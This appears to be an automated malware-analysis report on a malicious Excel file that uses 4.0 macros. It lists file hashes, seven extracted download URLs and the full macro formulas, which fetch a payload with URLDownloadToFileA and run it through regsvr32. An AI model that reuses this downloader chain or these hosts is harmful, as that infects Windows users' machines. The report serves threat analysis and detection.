General
-
Target
e1f4cbde923365cc0036f7b260ab818da2b6bc5104fa9e69d61ae1c1c9277387
-
Size
51KB
-
MD5
f3d43d55143e00a3e2e1e34125f56c99
-
SHA1
6a3c491ced1bff4fb1220fb54c4acd48c4dbfe7b
-
SHA256
e1f4cbde923365cc0036f7b260ab818da2b6bc5104fa9e69d61ae1c1c9277387
-
SHA512
f5203184eaffbac13ea3876bfbea0249deaa6b8e2cade2ce2cc9de40899f628301569d620e7cef3c698f2cb1f898189fd83af5548176d4182ff0e3c29f538a7b
-
SSDEEP
768:6ICkZNRvmHvnQvlSQHAamYDSmPq9A3Bj9DLC+9uSEcmQThnuG3KC0VfVhC:6ItBvGvQ8ncDSmSIBlGeuSEcm2h0HVfm
Malware Config
Extracted
http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/
http://henrysfreshroast.com/0Rq5zobAZB/
http://185.210.144.149/app/1BKfC3id6jsiH0MC/
http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/
http://45.76.178.115/sample_sticker/tihOPhaF1l0V/
http://abinsk.com/cgi-bin/fm63rXkG5Y/
http://academicinst.com/wp-includes/44ZVeVQBkeOG/
-
formulas
=CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://www.ajaxmatters.com/c7g8t/kYHGlphIEPNOImddm1/","..\wn.ocx",0,0) =IF('KEFGK'!E7<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://henrysfreshroast.com/0Rq5zobAZB/","..\wn.ocx",0,0)) =IF('KEFGK'!E9<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://185.210.144.149/app/1BKfC3id6jsiH0MC/","..\wn.ocx",0,0)) =IF('KEFGK'!E11<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://13cuero.com/wp-admin/ff5srrfTNsCju6sD3/","..\wn.ocx",0,0)) =IF('KEFGK'!E13<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E15<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://45.76.178.115/sample_sticker/tihOPhaF1l0V/","..\wn.ocx",0,0)) =IF('KEFGK'!E17<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://abinsk.com/cgi-bin/fm63rXkG5Y/","..\wn.ocx",0,0)) =IF('KEFGK'!E19<0,CALL("urlmon","URLDownloadToFileA","JJCCBB",0,"http://academicinst.com/wp-includes/44ZVeVQBkeOG/","..\wn.ocx",0,0)) =IF('KEFGK'!E21<0,CLOSE(0),) =EXEC("C:\Windows\SysWow64\regsvr32.exe -s ..\wn.ocx") =RETURN()
Signatures
-
Suspicious Office macro 1 IoCs
Office document equipped with 4.0 macros.
Files
-
e1f4cbde923365cc0036f7b260ab818da2b6bc5104fa9e69d61ae1c1c9277387